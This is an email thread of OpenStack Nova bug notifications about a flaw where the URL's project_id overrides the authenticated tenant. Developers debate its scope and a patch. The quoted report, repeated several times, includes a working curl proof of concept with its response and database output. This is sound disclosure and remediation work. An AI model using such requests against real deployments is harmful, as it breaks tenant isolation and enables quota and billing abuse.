Hi Vish

Sorry, I misread your patch. It is right behavior.

2011/12/17 Vish Ishaya <email address hidden>:
> On Dec 16, 2011, at 5:11 PM, Nachi Ueno wrote:
>
>> Hi All
>>
>>> ttx
>> I'm ok to not disclHosing this in the next two
>> weeks. Me, Rohit and Ravi found this bug.
>>
>>> Vish
>> Thank you for your patch.
>> I have one question. Why we still set project_id from URL?
>
> We don't.
>
> It raises an exception if project_id in the url doesn't match project_id
> in the context.  I think this is the right behavior.
>
>>
>> Cheers
>> Nati
>>
>> 2011/12/16 Vish Ishaya <email address hidden>:
>>> Comments below
>>>
>>> On Dec 16, 2011, at 1:30 PM, anotherjesse wrote:
>>>
>>>> ttx
>>>>
>>>> 1) you still need to be authenticated.  The keystone middleware doesn't
>>>> let the request hit the router if you fail to auth.
>>>>
>>>> 2) you can issue any openstack api request against any tenant.
>>>>
>>>> Because most logic in the API uses the context (not the URL) to specify
>>>> the resources you are interacting with (for example list servers uses
>>>> the tenant from the context)
>>>>
>>>>        instance_list = self.compute_api.get_all(context,
>>>>                                                 search_opts=search_opts)
>>>>
>>>> https://github.com/openstack/nova/blob/master/nova/api/openstack/v2/servers.py#L145
>>>>
>>>> So you can create a server in another project but delete, list, show
>>>> (and most other api calls) will not be able to modify it by via the api.
>>>> This is because the way that the database layer is written is defensive
>>>> - it only lets you access data that your context says you have access
>>>> to.
>>>>
>>>> This is still bad in that it allows creation of resources outside of
>>>> your project (for quota/billing avoidance) and there could be more
>>>> tunnels.
>>>
>>> I believe this is incorrect.  The broken code actually sets context.project_id = to whatever was in the url, so I think you can list and terminate instances in other projects as well.
>>>>
>>>> 3) only affects if you are the openstack api using keystone (not
>>>> deprecated auth)
>>>>
>>>> It shouldn't affect people who use the default (which is nova's internal
>>>> legacy auth) or who use the ec2 api
>>>
>>> legacy auth is also broken afaik, because it will successfully authenticate and then the authentication will be overwritten by the url.  EC2 auth shouldn't be affected.
>>>>
>>>> --
>>>> You received this bug notification because you are a member of Nova
>>>> Core, which is subscribed to the bug report.
>>>> https://bugs.launchpad.net/bugs/904072
>>>>
>>>> Title:
>>>>  project_id could be overwritten to any value by URI value
>>>>
>>>> Status in OpenStack Compute (Nova):
>>>>  Confirmed
>>>>
>>>> Bug description:
>>>>  project_id could be overwritten to any value by URI value.
>>>>  User can create server on any project (even if it is not exist)
>>>>  Quota function will not be working because of this bug. (So This bug is a security vulnerability)
>>>>
>>>>  --Test condition
>>>>  user : demo (not admin)
>>>>  project_id: 2
>>>>
>>>>  -- Requeest
>>>>  stack@freecloud116:~/devstack$ curl -H "Content-type: application/json" -H "x-auth-token: 8bbdb554-a671-446e-a6c2-07326eeb9ad5" -d '{"server": {"min_count": 1, "flavorRef": "1", "name": "test5", "imageRef": "2", "max_count": 1}}' http://localhost:8774/v1.1/tushar2/servers  <-- invalid tenant_id
>>>>
>>>>  -- Response
>>>>  {"server": {"status": "BUILD", "updated": "2011-12-14T03:06:04Z", "hostId": "", "user_id": "demo", "name": "test5", "links": [{"href": "http://localhost:8774/v1.1/tushar2/servers/7", "rel": "self"}, {"href": "http://localhost:8774/tushar2/servers/7", "rel": "bookmark"}], "addresses": {}, "tenant_id": "tushar2", "image": {"id": "2", "links": [{"href": "http://localhost:8774/tushar2/images/2", "rel": "bookmark"}]}, "created": "2011-12-14T03:06:04Z", "uuid": "5b63c965-8966-4ebc-ae1b-1c1c551a044c", "accessIPv4": "", "accessIPv6": "", "key_name": null, "adminPass": "id8SngCb7xeRq67K", "progress": 0, "flavor": {"id": "1", "links": [{"href": "http://localhost:8774/tushar2/flavors/1", "rel": "bookmark"}]}, "config_drive": "", "id": 7, "metadata": {}}}stack@freecloud116:~/devstack$
>>>>
>>>>  -- DB result
>>>>  instance with project_id "tushar2" is created
>>>>
>>>>  mysql> select id,project_id from instances;
>>>>  +----+------------+
>>>>  | id | project_id |
>>>>  +----+------------+
>>>>  |  1 | demo5      |
>>>>  |  2 | demo5      |
>>>>  |  3 | tushar     |
>>>>  |  4 | tushar1    |
>>>>  |  5 | tushar2    |
>>>>  |  6 | tushar2    |
>>>>  |  7 | tushar2    |
>>>>  +----+------------+
>>>>  7 rows in set (0.00 sec)
>>>>
>>>>  --Cause of this bug
>>>>  This code set project_id to request object from uri
>>>>  https://github.com/openstack/nova/blob/master/nova/api/openstack/v2/__init__.py#L78
>>>>
>>>>  Then this code set the project_id to context object
>>>>  https://github.com/openstack/nova/blob/master/nova/api/openstack/wsgi.py#L554
>>>>
>>>> To manage notifications about this bug go to:
>>>> https://bugs.launchpad.net/nova/+bug/904072/+subscriptions
>>>
>>> --
>>> You received this bug notification because you are subscribed to the bug
>>> report.
>>> https://bugs.launchpad.net/bugs/904072
>>>
>>> Title:
>>>  project_id could be overwritten to any value by URI value
>>>
>>> Status in OpenStack Compute (Nova):
>>>  Confirmed
>>>
>>> Bug description:
>>>  project_id could be overwritten to any value by URI value.
>>>  User can create server on any project (even if it is not exist)
>>>  Quota function will not be working because of this bug. (So This bug is a security vulnerability)
>>>
>>>  --Test condition
>>>  user : demo (not admin)
>>>  project_id: 2
>>>
>>>  -- Requeest
>>>  stack@freecloud116:~/devstack$ curl -H "Content-type: application/json" -H "x-auth-token: 8bbdb554-a671-446e-a6c2-07326eeb9ad5" -d '{"server": {"min_count": 1, "flavorRef": "1", "name": "test5", "imageRef": "2", "max_count": 1}}' http://localhost:8774/v1.1/tushar2/servers  <-- invalid tenant_id
>>>
>>>  -- Response
>>>  {"server": {"status": "BUILD", "updated": "2011-12-14T03:06:04Z", "hostId": "", "user_id": "demo", "name": "test5", "links": [{"href": "http://localhost:8774/v1.1/tushar2/servers/7", "rel": "self"}, {"href": "http://localhost:8774/tushar2/servers/7", "rel": "bookmark"}], "addresses": {}, "tenant_id": "tushar2", "image": {"id": "2", "links": [{"href": "http://localhost:8774/tushar2/images/2", "rel": "bookmark"}]}, "created": "2011-12-14T03:06:04Z", "uuid": "5b63c965-8966-4ebc-ae1b-1c1c551a044c", "accessIPv4": "", "accessIPv6": "", "key_name": null, "adminPass": "id8SngCb7xeRq67K", "progress": 0, "flavor": {"id": "1", "links": [{"href": "http://localhost:8774/tushar2/flavors/1", "rel": "bookmark"}]}, "config_drive": "", "id": 7, "metadata": {}}}stack@freecloud116:~/devstack$
>>>
>>>  -- DB result
>>>  instance with project_id "tushar2" is created
>>>
>>>  mysql> select id,project_id from instances;
>>>  +----+------------+
>>>  | id | project_id |
>>>  +----+------------+
>>>  |  1 | demo5      |
>>>  |  2 | demo5      |
>>>  |  3 | tushar     |
>>>  |  4 | tushar1    |
>>>  |  5 | tushar2    |
>>>  |  6 | tushar2    |
>>>  |  7 | tushar2    |
>>>  +----+------------+
>>>  7 rows in set (0.00 sec)
>>>
>>>  --Cause of this bug
>>>  This code set project_id to request object from uri
>>>  https://github.com/openstack/nova/blob/master/nova/api/openstack/v2/__init__.py#L78
>>>
>>>  Then this code set the project_id to context object
>>>  https://github.com/openstack/nova/blob/master/nova/api/openstack/wsgi.py#L554
>>>
>>> To manage notifications about this bug go to:
>>> https://bugs.launchpad.net/nova/+bug/904072/+subscriptions
>>
>> --
>> You received this bug notification because you are a member of Nova
>> Core, which is subscribed to the bug report.
>> https://bugs.launchpad.net/bugs/904072
>>
>> Title:
>>  project_id could be overwritten to any value by URI value
>>
>> Status in OpenStack Compute (Nova):
>>  Confirmed
>>
>> Bug description:
>>  project_id could be overwritten to any value by URI value.
>>  User can create server on any project (even if it is not exist)
>>  Quota function will not be working because of this bug. (So This bug is a security vulnerability)
>>
>>  --Test condition
>>  user : demo (not admin)
>>  project_id: 2
>>
>>  -- Requeest
>>  stack@freecloud116:~/devstack$ curl -H "Content-type: application/json" -H "x-auth-token: 8bbdb554-a671-446e-a6c2-07326eeb9ad5" -d '{"server": {"min_count": 1, "flavorRef": "1", "name": "test5", "imageRef": "2", "max_count": 1}}' http://localhost:8774/v1.1/tushar2/servers  <-- invalid tenant_id
>>
>>  -- Response
>>  {"server": {"status": "BUILD", "updated": "2011-12-14T03:06:04Z", "hostId": "", "user_id": "demo", "name": "test5", "links": [{"href": "http://localhost:8774/v1.1/tushar2/servers/7", "rel": "self"}, {"href": "http://localhost:8774/tushar2/servers/7", "rel": "bookmark"}], "addresses": {}, "tenant_id": "tushar2", "image": {"id": "2", "links": [{"href": "http://localhost:8774/tushar2/images/2", "rel": "bookmark"}]}, "created": "2011-12-14T03:06:04Z", "uuid": "5b63c965-8966-4ebc-ae1b-1c1c551a044c", "accessIPv4": "", "accessIPv6": "", "key_name": null, "adminPass": "id8SngCb7xeRq67K", "progress": 0, "flavor": {"id": "1", "links": [{"href": "http://localhost:8774/tushar2/flavors/1", "rel": "bookmark"}]}, "config_drive": "", "id": 7, "metadata": {}}}stack@freecloud116:~/devstack$
>>
>>  -- DB result
>>  instance with project_id "tushar2" is created
>>
>>  mysql> select id,project_id from instances;
>>  +----+------------+
>>  | id | project_id |
>>  +----+------------+
>>  |  1 | demo5      |
>>  |  2 | demo5      |
>>  |  3 | tushar     |
>>  |  4 | tushar1    |
>>  |  5 | tushar2    |
>>  |  6 | tushar2    |
>>  |  7 | tushar2    |
>>  +----+------------+
>>  7 rows in set (0.00 sec)
>>
>>  --Cause of this bug
>>  This code set project_id to request object from uri
>>  https://github.com/openstack/nova/blob/master/nova/api/openstack/v2/__init__.py#L78
>>
>>  Then this code set the project_id to context object
>>  https://github.com/openstack/nova/blob/master/nova/api/openstack/wsgi.py#L554
>>
>> To manage notifications about this bug go to:
>> https://bugs.launchpad.net/nova/+bug/904072/+subscriptions
>
> --
> You received this bug notification because you are subscribed to the bug
> report.
> https://bugs.launchpad.net/bugs/904072
>
> Title:
>  project_id could be overwritten to any value by URI value
>
> Status in OpenStack Compute (Nova):
>  Confirmed
>
> Bug description:
>  project_id could be overwritten to any value by URI value.
>  User can create server on any project (even if it is not exist)
>  Quota function will not be working because of this bug. (So This bug is a security vulnerability)
>
>  --Test condition
>  user : demo (not admin)
>  project_id: 2
>
>  -- Requeest
>  stack@freecloud116:~/devstack$ curl -H "Content-type: application/json" -H "x-auth-token: 8bbdb554-a671-446e-a6c2-07326eeb9ad5" -d '{"server": {"min_count": 1, "flavorRef": "1", "name": "test5", "imageRef": "2", "max_count": 1}}' http://localhost:8774/v1.1/tushar2/servers  <-- invalid tenant_id
>
>  -- Response
>  {"server": {"status": "BUILD", "updated": "2011-12-14T03:06:04Z", "hostId": "", "user_id": "demo", "name": "test5", "links": [{"href": "http://localhost:8774/v1.1/tushar2/servers/7", "rel": "self"}, {"href": "http://localhost:8774/tushar2/servers/7", "rel": "bookmark"}], "addresses": {}, "tenant_id": "tushar2", "image": {"id": "2", "links": [{"href": "http://localhost:8774/tushar2/images/2", "rel": "bookmark"}]}, "created": "2011-12-14T03:06:04Z", "uuid": "5b63c965-8966-4ebc-ae1b-1c1c551a044c", "accessIPv4": "", "accessIPv6": "", "key_name": null, "adminPass": "id8SngCb7xeRq67K", "progress": 0, "flavor": {"id": "1", "links": [{"href": "http://localhost:8774/tushar2/flavors/1", "rel": "bookmark"}]}, "config_drive": "", "id": 7, "metadata": {}}}stack@freecloud116:~/devstack$
>
>  -- DB result
>  instance with project_id "tushar2" is created
>
>  mysql> select id,project_id from instances;
>  +----+------------+
>  | id | project_id |
>  +----+------------+
>  |  1 | demo5      |
>  |  2 | demo5      |
>  |  3 | tushar     |
>  |  4 | tushar1    |
>  |  5 | tushar2    |
>  |  6 | tushar2    |
>  |  7 | tushar2    |
>  +----+------------+
>  7 rows in set (0.00 sec)
>
>  --Cause of this bug
>  This code set project_id to request object from uri
>  https://github.com/openstack/nova/blob/master/nova/api/openstack/v2/__init__.py#L78
>
>  Then this code set the project_id to context object
>  https://github.com/openstack/nova/blob/master/nova/api/openstack/wsgi.py#L554
>
> To manage notifications about this bug go to:
> https://bugs.launchpad.net/nova/+bug/904072/+subscriptions